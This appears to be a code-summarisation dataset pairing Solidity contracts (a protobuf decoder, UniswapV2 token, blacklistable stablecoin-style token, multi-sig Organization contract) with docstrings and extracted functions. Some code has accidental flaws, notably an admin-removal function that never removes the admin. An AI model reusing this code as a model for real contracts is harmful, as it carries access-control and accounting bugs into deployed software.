ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_loanState( uint256 p, bytes memory bs, Data memory r, uint[2] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 tmp, uint256 sz) = ProtoBufRuntime._decode_enum(p, bs); BorrowingEngagementProperty.LoanState x = decode_LoanState(tmp); if (isNil(r)) { counters[1] += 1; } else { r.loanState = x; if(counters[1] > 0) counters[1] -= 1; } return sz; } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.Varint, pointer, bs ); int64 _enum_loanState = encode_LoanState(r.loanState); pointer += ProtoBufRuntime._encode_enum(_enum_loanState, pointer, bs); return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_enum(encode_LoanState(r.loanState)); return e; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.loanState = input.loanState; } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library BorrowingEngagementProperty
The estimator for a struct r The struct to be encoded return The number of bytes encoded in estimation/
function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_enum(encode_LoanState(r.loanState)); return e; }
6,490,080
//pragma solidity ^0.5.5; pragma solidity >=0.4.16 <0.9.0; import './interfaces/IUniswapV2ERC20.sol'; import './libraries/SafeMath.sol'; contract UniswapV2ERC20 is IUniswapV2ERC20 { // THIS PROVIDES THE TOTAL SUPPLY AND MINTED TOKEN ADDRESS using SafeMath for uint; string public constant override name = 'Uniswap V2'; string public constant override symbol = 'UNI-V2'; uint8 public constant override decimals = 18; uint public override totalSupply; mapping(address => uint) public override balanceOf; mapping(address => mapping(address => uint)) public override allowance; bytes32 public override DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant override PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public override nonces; event ERCApproval(address indexed owner, address indexed spender, uint value); event ERCTransfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := 3 } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } // MINTING AND PROVIDING TOTAL SUPPLY OF TOKEN MNTED function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit ERCTransfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit ERCTransfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit ERCApproval(owner, spender, value); } // TRANSFER FUNDS FROM ONE ADDRESS TO THE OTHER function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit ERCTransfer(from, to, value); } // APPROVAL BEFORE ALLOWING WITHDRAWAL function approve(address spender, uint value) external override returns (bool) { _approve(msg.sender, spender, value); return true; } // THE NORMAL PAYMENT TRANSFER TO ADDRESS function transfer(address to, uint value) external override returns (bool) { _transfer(msg.sender, to, value); return true; } // TRANSFER TO ROUTER FIRST function transferFrom(address from, address to, uint value) external override returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } // SENDS PERMISSION TO ALLOW OR NOT TO DISALLOW function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } }
MINTING AND PROVIDING TOTAL SUPPLY OF TOKEN MNTED
function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit ERCTransfer(address(0), to, value); }
15,843,288
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require( msg.sender == owner, "msg.sender is not owner" ); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner returns (bool) { if (newOwner != address(0) && newOwner != owner) { owner = newOwner; return true; } else { return false; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public _totalSupply; function totalSupply() public view returns (uint); function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public returns (bool); event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance( address owner, address spender) public view returns (uint); function transferFrom( address from, address to, uint value ) public returns (bool); function approve(address spender, uint value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title WhiteList * @dev All the addresses whitelisted will not pay the fee for transfer and transferFrom. */ contract WhiteList is Ownable { mapping(address => bool) public whitelist; function addToWhitelist (address _address) public onlyOwner returns (bool) { whitelist[_address] = true; return true; } function removeFromWhitelist (address _address) public onlyOwner returns (bool) { whitelist[_address] = false; return true; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is WhiteList, ERC20Basic { using SafeMath for uint; mapping(address => uint) public balances; /** * @dev additional variables for use if transaction fees ever became necessary */ uint public basisPointsRate = 0; uint public maximumFee = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require( !(msg.data.length < size + 4), "msg.data length is wrong" ); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) returns (bool) { uint fee = whitelist[msg.sender] ? 0 : (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } uint sendAmount = _value.sub(fee); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); emit Transfer(msg.sender, owner, fee); return true; } emit Transfer(msg.sender, _to, sendAmount); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) public allowed; uint public constant MAX_UINT = 2**256 - 1; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint _value ) public onlyPayloadSize(3 * 32) returns (bool) { uint _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = whitelist[msg.sender] ? 0 : (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } if (_allowance < MAX_UINT) { allowed[_from][msg.sender] = _allowance.sub(_value); } uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); emit Transfer(_from, owner, fee); return true; } emit Transfer(_from, _to, sendAmount); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve( address _spender, uint _value ) public onlyPayloadSize(2 * 32) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require( !((_value != 0) && (allowed[msg.sender][_spender] != 0)), "Canont approve 0 as amount" ); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Pausable * * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused, "paused is true"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused, "paused is false"); _; } /** * @dev Called by the owner to pause, triggers stopped state * @return Operation succeeded. */ function pause() public onlyOwner whenNotPaused returns (bool) { paused = true; emit Pause(); return true; } /** * @dev Called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused returns (bool) { paused = false; emit Unpause(); return true; } } /** * @title BlackList * * @dev Base contract which allows the owner to blacklist a stakeholder and destroy its tokens. */ contract BlackList is Ownable, BasicToken { mapping (address => bool) public isBlackListed; event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); /** * @dev Add address to blacklist. * @param _evilUser Address to be blacklisted. * @return Operation succeeded. */ function addBlackList (address _evilUser) public onlyOwner returns (bool) { isBlackListed[_evilUser] = true; emit AddedBlackList(_evilUser); return true; } /** * @dev Remove address from blacklist. * @param _clearedUser Address to removed from blacklist. * @return Operation succeeded. */ function removeBlackList (address _clearedUser) public onlyOwner returns (bool) { isBlackListed[_clearedUser] = false; emit RemovedBlackList(_clearedUser); return true; } /** * @dev Destroy funds of the blacklisted user. * @param _blackListedUser Address of whom to destroy the funds. * @return Operation succeeded. */ function destroyBlackFunds (address _blackListedUser) public onlyOwner returns (bool) { require(isBlackListed[_blackListedUser], "User is not blacklisted"); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; emit DestroyedBlackFunds(_blackListedUser, dirtyFunds); return true; } } /** * @title UpgradedStandardToken * * @dev Interface to submit calls from the current SC to a new one. */ contract UpgradedStandardToken is StandardToken{ /** * @dev Methods called by the legacy contract * and they must ensure msg.sender to be the contract address. */ function transferByLegacy( address from, address to, uint value) public returns (bool); function transferFromByLegacy( address sender, address from, address spender, uint value) public returns (bool); function approveByLegacy( address from, address spender, uint value) public returns (bool); } /** * @title BackedToken * * @dev ERC20 token backed by some asset periodically audited reserve. */ contract BackedToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint public decimals; address public upgradedAddress; bool public deprecated; // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); /** * @dev Constructor. * @param _initialSupply Initial total supply. * @param _name Token name. * @param _symbol Token symbol. * @param _decimals Token decimals. */ constructor ( uint _initialSupply, string _name, string _symbol, uint _decimals ) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } /** * @dev Revert whatever no named function is called. */ function() public payable { revert("No specific function has been called"); } /** * @dev ERC20 overwritten functions. */ function transfer(address _to, uint _value) public whenNotPaused returns (bool) { require( !isBlackListed[msg.sender], "Transaction recipient is blacklisted" ); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } function transferFrom( address _from, address _to, uint _value ) public whenNotPaused returns (bool) { require(!isBlackListed[_from], "Tokens owner is blacklisted"); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy( msg.sender, _from, _to, _value ); } else { return super.transferFrom(_from, _to, _value); } } function balanceOf(address who) public view returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } function approve( address _spender, uint _value ) public onlyPayloadSize(2 * 32) returns (bool) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } function allowance( address _owner, address _spender ) public view returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } function totalSupply() public view returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } /** * @dev Issue tokens. These tokens are added to the Owner address and to the _totalSupply. * @param amount Amount of the token to be issued to the owner balance adding it to the _totalSupply. * @return Operation succeeded. */ function issue(uint amount) public onlyOwner returns (bool) { require( _totalSupply + amount > _totalSupply, "Wrong amount to be issued referring to _totalSupply" ); require( balances[owner] + amount > balances[owner], "Wrong amount to be issued referring to owner balance" ); balances[owner] += amount; _totalSupply += amount; emit Issue(amount); return true; } /** * @dev Redeem tokens. These tokens are withdrawn from the Owner address. * The balance must be enough to cover the redeem or the call will fail. * @param amount Amount of the token to be subtracted from the _totalSupply and the Owner balance. * @return Operation succeeded. */ function redeem(uint amount) public onlyOwner returns (bool) { require( _totalSupply >= amount, "Wrong amount to be redeemed referring to _totalSupply" ); require( balances[owner] >= amount, "Wrong amount to be redeemed referring to owner balance" ); _totalSupply -= amount; balances[owner] -= amount; emit Redeem(amount); return true; } /** * @dev Set the current SC as deprecated. * @param _upgradedAddress The new SC address to be pointed from this SC. * @return Operation succeeded. */ function deprecate(address _upgradedAddress) public onlyOwner returns (bool) { deprecated = true; upgradedAddress = _upgradedAddress; emit Deprecate(_upgradedAddress); return true; } /** * @dev Set fee params. The params has an hardcoded limit. * @param newBasisPoints The maker order object. * @param newMaxFee The amount of tokens going to the taker. * @return Operation succeeded. */ function setParams( uint newBasisPoints, uint newMaxFee ) public onlyOwner returns (bool) { // Ensure transparency by hardcoding limit beyond which fees can never be added require( newBasisPoints < 20, "newBasisPoints amount bigger than hardcoded limit" ); require( newMaxFee < 50, "newMaxFee amount bigger than hardcoded limit" ); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**decimals); emit Params(basisPointsRate, maximumFee); return true; } /** * @dev Selfdestruct the contract. Callable only from the owner. */ function kill() public onlyOwner { selfdestruct(owner); } }
Issue tokens. These tokens are added to the Owner address and to the _totalSupply. amount Amount of the token to be issued to the owner balance adding it to the _totalSupply. return Operation succeeded./
function issue(uint amount) public onlyOwner returns (bool) { require( _totalSupply + amount > _totalSupply, "Wrong amount to be issued referring to _totalSupply" ); require( balances[owner] + amount > balances[owner], "Wrong amount to be issued referring to owner balance" ); balances[owner] += amount; _totalSupply += amount; emit Issue(amount); return true; }
12,940,439
pragma solidity ^0.5.9; import "./ERC1077.sol"; // ! WARNING : THE CONTRACT IS ALMOST TOO BIG, ADDING 10 LINES WILL CAUSE DEPLOY THROUGH ETHERS TO FAIL BECAUSE OF "414 URI TOO LONG" EXCEPTION contract Organization { /// @dev Operations are general things like "signing a delivery", "adding a material", etc... /// we define whitelist and quorum at the operation level, /// that means that a user who is authorized to sign deliveries will be able to sign every deliveries of this org /// the quorum is the minimal number of user that needs to give their approval struct Operation { string name; // operation name : i.e. 'signDelivery' uint256 whitelistLength; mapping(address => bool) whitelist; // user authorized to approve a given action uint256 quorum; // number of user that needs to approve one action bool active; // an admin can deactivate/activate an operation } /// @dev Actions are specific operations, like "sign the delivery #123", /// an action contains a tx ("to, value, data" fields), this tx will be triggered if the action is approve by the org /// to get approve by the org an action needs to be approve by N whitelisted user, where N >= quorum struct Action { uint256 operationId; // example : '1 could be signDelivery' mapping(address => bool) approvals; // list of user that have already approved this action (prevent double approval) uint256 approvalsCount; // count of current approvals for this action (needs to reach quorum to succeed) bool active; // an admin can deactivate/activate a pending action bool executed; // flag to prevent an action of being exeucted twice // tx to trigger in case of success (the action itself) address payable to; // TODO maybe this should be move at the op lvl ??? uint256 value; bytes data; } /// @dev A normal user is stored at the operation level /// a normal user can : /// - approve an action under this operation (if action doesn't exists yet, it will be created) /// @dev Admin are special users stored at the org level, /// admins can : /// - add/remove admins /// - create/delete operations /// - add/remove a user from an operation's whitelist /// - modify an operation's quorum /// - do everything a normal user can do uint256 private adminCount; mapping(address => bool) private adminList; // list of admins /// @dev Main storage of the contract mapping(uint256 => Operation) private operations; // list of existing operations mapping(bytes32 => Action) private actions; // list of pending actions //----------------------------- // EVENTS // //----------------------------- event OperationCreated(uint256 indexed operationId); event MemberAdded(uint256 indexed operationId, address indexed member); event MemberRemoved(uint256 indexed operationId, address indexed member); event QuorumUpdated(uint256 indexed operationId, uint256 indexed newQuorum); event ActionApproved(bytes32 indexed actionId, address indexed member); event ActionExecuted(bytes32 indexed actionId, bool indexed success, bytes data); event AdminAdded(address indexed newAdmin); event AdminRemoved(address indexed newAdmin); event RecoverMember(address indexed member); event AdminWithdraw(address indexed admin, uint256 indexed amount); //----------------------------- // MODIFIERS // //----------------------------- modifier onlyAuthorizedUser(uint256 operationId, bytes32 hash) { require( operations[operationId].whitelist[msg.sender] || adminList[msg.sender], "You are not whitelisted for this operation" ); require(!actions[hash].approvals[msg.sender], "You have already given your approval to this action"); // cannot approve twice _; } modifier userNotAuthorized(uint operationId, address user) { require(!isWhitelisted(user, operationId), "This user is already whitelisted for this operation"); _; } modifier onlyAdmin() { require(adminList[msg.sender], "You are not an Admin"); _; } modifier canRemoveAdmin() { require(adminCount >= 2, "You cannot remove the last Admin"); // adminCount >= 2 because this check happens before removing one admin _; } modifier operationShouldExists(uint256 operationId) { require(operationExists(operationId), "This operation does not exists"); _; } modifier operationShouldNotExists(uint256 operationId) { require(!operationExists(operationId), "There is already an operation with this ID"); _; } modifier operationIsActive(uint256 operationId) { require(operations[operationId].active, "This operation has been deactivated"); _; } modifier operationIsNotActive(uint256 operationId) { require(!operations[operationId].active, "This operation is already active"); _; } modifier canRemoveUser(uint256 operationId) { require( operations[operationId].whitelistLength > operations[operationId].quorum, "Whitelist length cannot become inferior to the quorum" ); _; } modifier canModifyQuorum(uint256 operationId, uint256 newQuorum) { require(newQuorum > 0, "Quorum cannot be inferior to one"); require( newQuorum <= operations[operationId].whitelistLength, "Quorum cannot become superior to the whitelist length" ); _; } modifier actionShouldExists(bytes32 hash) { require(actionExists(hash), "This action does not exists"); _; } modifier actionIsActive(bytes32 hash) { require(operations[actions[hash].operationId].active, "This operation has been deactivated"); require(actions[hash].active, "This action has been deactivated"); _; } modifier actionIsNotActive(bytes32 hash) { require(!actions[hash].active, "This action is already active"); _; } modifier actionNotExecuted(bytes32 hash) { require(!actions[hash].executed, "This action has already been executed"); _; } modifier actionShouldHavReachedQuorum(bytes32 hash) { require( actions[hash].approvalsCount >= operations[actions[hash].operationId].quorum || adminList[msg.sender], // action has reach quorum or sender is admin // TODO does Admins can do that ??? "This action as not yet reached its quorum" ); _; } //----------------------------- // CONSTRUCTOR / FALLBACK // //----------------------------- /// @dev Simply add msg.sender as the first admin constructor(address admin) public { adminCount++; adminList[admin] = true; // This operation is needed in every Organization, // It is defined in the frontend as "operation[1]", // Not defining this operation is the constructor will require to perform // an "init" tx by the admin for the contract to be usable by Blockframes // this would add friction for the user and only provide a small gain in flexibility operations[1].name = 'Signing Delivery'; operations[1].quorum = 0; operations[1].active = true; operations[1].whitelistLength = 0; } /// @dev in case someone want to lock ether in the organization's contract /// ether could be withdrawed later by an admin function() external payable {} //----------------------------- // MAIN FUNCTIONS // //----------------------------- /// @dev Approve function : will add one approval to a given action, /// if the action does not exist it will be created, /// and if the current approval let the action reach its quorum, then the action tx will be triggered function approve( bytes32 hash, uint256 operationId, address payable to, uint256 value, bytes calldata data ) external operationShouldExists(operationId) operationIsActive(operationId) onlyAuthorizedUser(operationId, hash) { require(to != address(0x0), "You cannot use the 0x0 address as a destination"); // because we check actionExists() on the 0x0 address // if action doesn't exists create it if(!actionExists(hash)) { actions[hash] = Action(operationId, 0, true, false, to, value, data); } // same as "actionIsActive", cannot be perform by modifier because the action could have been created just above require(actions[hash].active, "This action has been deactivated"); // increment action approvals actions[hash].approvalsCount++; actions[hash].approvals[msg.sender] = true; emit ActionApproved(hash, msg.sender); // if action has reach quorum, execute it if (actions[hash].approvalsCount >= operations[actions[hash].operationId].quorum) { executeAction(hash); } } /// @dev Execute an action by triggering its stored transaction, then flag the action as executed. /// Most of the time this function will be called by the "approve" function and should not be called directly. /// However if an action has reached N approvals and the quorum was later lowered bellow N, /// the "approve" function will not have executed it, /// and the action is now blocked waiting for another (unecessary) approval, /// in this case, anybody can call "execute" and the action will be executed. function executeAction(bytes32 hash) public actionShouldExists(hash) actionIsActive(hash) actionShouldHavReachedQuorum(hash) actionNotExecuted(hash) { actions[hash].executed = true; bytes memory _data; bool success; (success, _data) = actions[hash].to.call.value(actions[hash].value)(actions[hash].data); // solium-disable-line security/no-call-value emit ActionExecuted(hash, success, _data); } //----------------------------- // ADMIN FUNCTIONS // //----------------------------- /// @dev Create a new operation function admin_createOperation( uint256 operationId, string calldata name, address[] calldata whitelist, uint256 quorum ) external onlyAdmin() operationShouldNotExists(operationId) { require(whitelist.length > 0, "Whitelist cannot be empty"); require(quorum > 0, "Quorum cannot be inferior to one"); require(quorum <= whitelist.length + adminCount, "Quorum cannot be superior to whitelist length"); operations[operationId].name = name; operations[operationId].quorum = quorum; operations[operationId].active = true; for(uint256 i = 0 ; i < whitelist.length ; i++) { operations[operationId].whitelist[whitelist[i]] = true; } operations[operationId].whitelistLength = whitelist.length; emit OperationCreated(operationId); } /// @dev Activate/Deactivate an operation function admin_operationSetActive(uint256 operationId, bool active) external onlyAdmin() operationShouldExists(operationId) { operations[operationId].active = active; } /// @dev Add a new Admin function admin_addAdmin(address newAdmin) external onlyAdmin() { require(newAdmin != address(this), "An organization cannot be admin of itself"); adminCount++; adminList[newAdmin] = true; emit AdminAdded(newAdmin); } /// @dev Remove an Admin function admin_removeAdmin(address newAdmin) external onlyAdmin() canRemoveAdmin() { adminCount--; adminList[newAdmin] = true; emit AdminRemoved(newAdmin); } /// @dev Add a user to the whitelist of an operation function admin_addUserToWhitelist(uint256 operationId, address user) external onlyAdmin() operationShouldExists(operationId) operationIsActive(operationId) userNotAuthorized(operationId, user) { operations[operationId].whitelistLength++; operations[operationId].whitelist[user] = true; emit MemberAdded(operationId, user); } /// @dev Remove a user from the whitelist of an operation function admin_removeUserFromWhitelist(uint256 operationId, address user) external onlyAdmin() operationShouldExists(operationId) operationIsActive(operationId) canRemoveUser(operationId) { operations[operationId].whitelistLength--; operations[operationId].whitelist[user] = false; emit MemberRemoved(operationId, user); } /// @dev Modify the quorum of an operation function admin_modifyQuorum(uint256 operationId, uint256 newQuorum) external onlyAdmin() operationShouldExists(operationId) operationIsActive(operationId) canModifyQuorum(operationId, newQuorum) { operations[operationId].quorum = newQuorum; emit QuorumUpdated(operationId, newQuorum); } /// @dev Activate/Deactivate an action function admin_actionSetActive(bytes32 hash, bool active) external onlyAdmin() actionShouldExists(hash) { actions[hash].active = active; } function admin_destroyUsersContract(address payable user) public onlyAdmin() { ERC1077 usersContract = ERC1077(user); require(usersContract.getRecoverAddress() == address(this), "This organization is not authorized to destroy this user's wallet"); usersContract.destroy(); emit RecoverMember(user); } /// @dev allow an admin to withdraw all the ether function admin_withdraw() external onlyAdmin() { msg.sender.transfer(address(this).balance); emit AdminWithdraw(msg.sender, address(this).balance); } //----------------------------- // GETTERS // //----------------------------- // Actions -------------------- function actionExists(bytes32 hash) public view returns(bool){ if (actions[hash].to == address(0x0)) return false; return true; } function getAction(bytes32 hash) external view returns( uint256 operationId, uint256 approvalsCount, bool active, bool executed, address to, uint256 value, bytes memory data ) { return ( actions[hash].operationId, actions[hash].approvalsCount, actions[hash].active, actions[hash].executed, actions[hash].to, actions[hash].value, actions[hash].data ); } function hasApprovedAction(address user, bytes32 hash) external view returns(bool) { return actions[hash].approvals[user]; } // Operations ----------------- function operationExists(uint256 operationId) public view returns(bool){ if (bytes(operations[operationId].name).length == 0) return false; return true; } function getOperation(uint256 operationId) external view returns(string memory name, uint256 whitelistLength, uint256 quorum, bool active) { return ( operations[operationId].name, operations[operationId].whitelistLength, operations[operationId].quorum, operations[operationId].active ); } function isWhitelisted(address user, uint256 operationId) public view returns(bool) { return adminList[user] || operations[operationId].whitelist[user]; } // Admin ---------------------- function isAdmin(address user) external view returns (bool){ return adminList[user]; } function getAdminCount() public view returns(uint256) { return adminCount; } }
Activate/Deactivate an action
function admin_actionSetActive(bytes32 hash, bool active) external onlyAdmin() actionShouldExists(hash) { actions[hash].active = active; }
13,027,816
./full_match/43113/0x6ab87763a02c3DA74b8663F199cBc15639E2D47E/sources/CoinGameNative.sol
Players can join the game by calling this function
function joinGame(uint256[] memory coins, uint256[] memory weightage) public payable returns (uint256 _gameId) { require(gameOwner != msg.sender, "gameOwner can't join the game"); require(activated, "The game is not yet activated"); require(curNumPlayers < numPlayers, "The player count reached!"); require(live == false, "The game has started"); require(completed == false, "The game has ended"); uint256 amount = msg.value; require( amount >= playerContribution, "Player has not contributed the exact amount for the game" ); require( coins.length >= numCoins, "You have to choose at least 7 coins" ); require(weightage.length > 0, "Weightage for coins is not sent"); require( weightage.length == coins.length, "Weightage for all coins is not present" ); uint256 totalWeightage = 0; for (uint256 i = 0; i < weightage.length; i++) { totalWeightage += weightage[i]; } require( totalWeightage > 0 && totalWeightage < 100, "Weightage is not proper" ); Player storage newPlayer = players[curNumPlayers++]; newPlayer.player = msg.sender; newPlayer.coins = coins; newPlayer.weightage = weightage; return gameId; }
7,167,064
./full_match/41/0xdfC84AF07a7F36C6D1Fff0D8baF94240A87e9Ad2/sources/contracts/OracleTWAP5d.sol
if interval with target timestamp exists, use it. Otherwise, don't set variables, allowing the previous values to be used
function _getIntervalSnapshot() private returns (bool) { bool newIntervalFound; Snapshot memory snapshot; snapshot = intervalSnapshots[snapshotPointer]; if (snapshot.targetTimestamp <= _currentBlockTimestamp()) { blockTimestampLast = snapshot.snapshotTimestamp; price0CumulativeLast = snapshot.price0CumulativeLast; price1CumulativeLast = snapshot.price1CumulativeLast; ++snapshotPointer; newIntervalFound = true; delete snapshot; } return newIntervalFound; }
16,378,898
./full_match/11155111/0x3f9C6646CCFa4597C45761B3e9a1Da0cF00253D5/sources/src/Splits.sol
Returns user's received but not split yet funds. userId The user ID. assetId The used asset ID. return amt The amount received but not split yet.
